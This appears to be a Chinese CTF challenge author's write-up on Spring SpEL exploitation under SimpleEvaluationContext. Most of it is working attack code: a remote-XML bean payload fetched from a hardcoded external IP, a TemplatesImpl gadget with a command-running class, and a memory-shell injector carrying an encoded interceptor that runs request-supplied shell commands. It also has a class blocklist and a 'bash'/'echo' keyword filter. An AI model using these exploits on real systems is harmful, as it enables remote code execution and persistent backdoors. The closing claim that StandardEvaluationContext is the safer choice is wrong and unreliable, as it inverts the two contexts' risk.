ez_zhuawa出题记录
字数 718 2025-08-22 12:22:42
Spring Expression Language (SpEL) 漏洞分析与利用
1. 漏洞背景
SpEL (Spring Expression Language) 是 Spring 框架提供的一种强大的表达式语言,支持在运行时查询和操作对象图。当 SpEL 表达式在 SimpleEvaluationContext 上下文中执行时,如果能够控制 root 对象,就可能存在安全风险。
2. 漏洞原理
2.1 基本利用方式
在 SimpleEvaluationContext 条件下,攻击者可以通过控制 root 对象实现恶意利用:
- 调用 root 对象的 getter 方法
- 调用 root 对象的构造函数
2.2 关键代码分析
public static Object eval(Object root, String expr) {
SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(expr);
return expression.getValue(context, root);
}
当 root 对象不是基础类型时,会进入 convertValue 方法,最终调用 ObjectToObjectConverter 的 convert 方法。
3. 漏洞利用方式
3.1 通过构造函数利用
public static void main(String[] args) {
buildArray("org.springframework.context.support.ClassPathXmlApplicationContext",
"#root[0]='http://49.232.222.195:8000/poc.xml'");
}
远程 XML 文件内容:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="evil" class="java.lang.String">
<constructor-arg value="#{T(Runtime).getRuntime().exec('calc')}"/>
</bean>
</beans>
3.2 通过 getter 方法利用
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("Test.class"));
setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "calc");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
String name = (String) eval(templates, "outputProperties");
System.out.println("Name: " + name);
}
恶意 Test.class 内容:
import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Test extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
4. 防御措施
4.1 反序列化防护
public class SecurityObjectInputStream extends ObjectInputStream {
private List<String> restrictedClasses;
public SecurityObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
this.restrictedClasses = new ArrayList<>();
this.restrictedClasses.add(POJONode.class.getName());
this.restrictedClasses.add(BadAttributeValueExpException.class.getName());
this.restrictedClasses.add(InvocationHandler.class.getName());
this.restrictedClasses.add(SignedObject.class.getName());
this.restrictedClasses.add(RMIConnector.class.getName());
this.restrictedClasses.add(HashMap.class.getName());
this.restrictedClasses.add(Hashtable.class.getName());
this.restrictedClasses.add(ClassPathXmlApplicationContext.class.getName());
this.restrictedClasses.add(FileSystemXmlApplicationContext.class.getName());
this.restrictedClasses.add(JdbcRowSetImpl.class.getName());
this.restrictedClasses.add(XString.class.getName());
this.restrictedClasses.add(UIDefaults.class.getName());
}
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (this.restrictedClasses.contains(desc.getName())) {
throw new SecurityException("Detected restricted class: " + desc.getName());
}
return super.resolveClass(desc);
}
}
4.2 输入过滤
public static Object deserialize(String base64String) throws IOException, ClassNotFoundException {
String data1 = Arrays.toString(Base64.getDecoder().decode(base64String));
if (data1.contains("bash") || data1.contains("echo")) {
throw new IllegalArgumentException("检测到潜在危险输入");
}
byte[] data = Base64.getDecoder().decode(base64String);
try (ByteArrayInputStream bais = new ByteArrayInputStream(data);
SecurityObjectInputStream in = new SecurityObjectInputStream(bais)) {
return in.readObject();
}
}
5. 内存马注入示例
public class inject extends AbstractTranslet {
static {
try {
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(
((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping)
context.getBean(RequestMappingHandlerMapping.class);
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
ArrayList<Object> adaptedInterceptors = (ArrayList<Object>) field.get(abstractHandlerMapping);
String className = "com.example.spring.magicInterceptor";
String b64 = "yv66vgAAADQAhwoAIABGCAA4CwBHAEgLAEkASggASwgATAoATQBOCgAMAE8IAFAKAAwAUQcAUgcAUwgAVAgAVQoACwBWCABXCABYBwBZCgALAFoKAFsAXAoAEgBdCABeCgASAF8KABIAYAoAEgBhCgASAGIKAGMAZAoAYwBlCgBjAGIHAGYHAGcHAGgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAJUxjb20vZXhhbXBsZS9zcHJpbmcvbWFnaWNJbnRlcmNlcHRvcjsBAAlwcmVIYW5kbGUBAGQoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0OylaAQABcAEAGkxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7AQAGd3JpdGVyAQAVTGphdmEvaW8vUHJpbnRXcml0ZXI7AQABbwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAWMBABNMamF2YS91dGlsL1NjYW5uZXI7AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAB2hhbmRsZXIBABJMamF2YS9sYW5nL09iamVjdDsBAARjb2RlAQANU3RhY2tNYXBUYWJsZQcAUwcAaQcAUgcAWQcAZwcAagcAbAcAZgEACkV4Y2VwdGlvbnMBAApTb3VyY2VGaWxlAQAVbWFnaWNJbnRlcmNlcHRvci5qYXZhDAAhACIHAGoMAG0AbgcAawwAbwBwAQAAAQAHb3MubmFtZQcAcQwAcgBuDABzAHQBAAN3aW4MAHUAdgEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgEAEGphdmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MMACEAdwEABy9iaW4vc2gBAAItYwEAEWphdmEvdXRpbC9TY2FubmVyDAB4AHkHAHoMAHsAfAwAIQB9AQACXEEMAH4AfwwAgACBDACCAHQMAIMAIgcAaQwAhACFDACGACIBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAjY29tL2V4YW1wbGUvc3ByaW5nL21hZ2ljSW50ZXJjZXB0b3IBAEFvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L2hhbmRsZXIvSGFuZGxlckludGVyY2VwdG9yQWRhcHRlcgEAE2phdmEvaW8vUHJpbnRXcml0ZXIBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBABBqYXZhL2xhbmcvT2JqZWN0AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAFY2xvc2UBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoACEAHwAgAAAAAAACAAEAIQAiAAEAIwAAAC8AAQABAAAABSq3AAGxAAAAAgAkAAAABgABAAAABwAlAAAADAABAAAABQAmACcAAAABACgAKQACACMAAAG6AAYACQAAAK8rEgK5AAMCADoEGQTGAKEsuQAEAQA6BRIFOgYSBrgAB7YACBIJtgAKmQAiuwALWQa9AAxZAxINU1kEEg5TWQUZBFO3AA86B6cAH7sAC1kGvQAMWQMSEFNZBBIRU1kFGQRTtwAPOge7ABJZGQe2ABO2ABS3ABUSFrYAFzoIGQi2ABiZAAsZCLYAGacABRkGOgYZCLYAGhkFGQa2ABsZBbYAHBkFtgAdpwAFOgUDrASsAAEADwCmAKkAHgADACQAAABGABEAAAAKAAoACwAPAA0AFwAOABsAEAArABEASgATAGYAFQB8ABYAkAAXAJUAGACcABkAoQAaAKYAHACpABsAqwAdAK0AHwAlAAAAZgAKAEcAAwAqACsABwAXAI8ALAAtAAUAGwCLAC4ALwAGAGYAQAAqACsABwB8ACoAMAAxAAgAAACvACYAJwAAAAAArwAyADMAAQAAAK8ANAA1AAIAAACvADYANwADAAoApQA4AC8ABAA5AAAAOQAH/gBKBwA6BwA7BwA6/AAbBwA8/AAlBwA9QQcAOv8AGgAFBwA+BwA/BwBABwBBBwA6AAEHAEIBAQBDAAAABAABAB4AAQBEAAAAAgBF";
byte[] bytes = sun.misc.BASE64Decoder.class.newInstance().decodeBuffer(b64);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Method m0 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
m0.setAccessible(true);
m0.invoke(classLoader, className, bytes, 0, bytes.length);
adaptedInterceptors.add(classLoader.loadClass(className).newInstance());
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
6. 总结
- SpEL 在
SimpleEvaluationContext下存在安全风险,攻击者可利用 root 对象执行任意代码 - 主要利用方式包括:
- 通过构造函数加载恶意 XML
- 通过 getter 方法触发恶意代码执行
- 防御措施应包括:
- 限制反序列化类
- 过滤危险输入
- 使用更安全的
StandardEvaluationContext替代SimpleEvaluationContext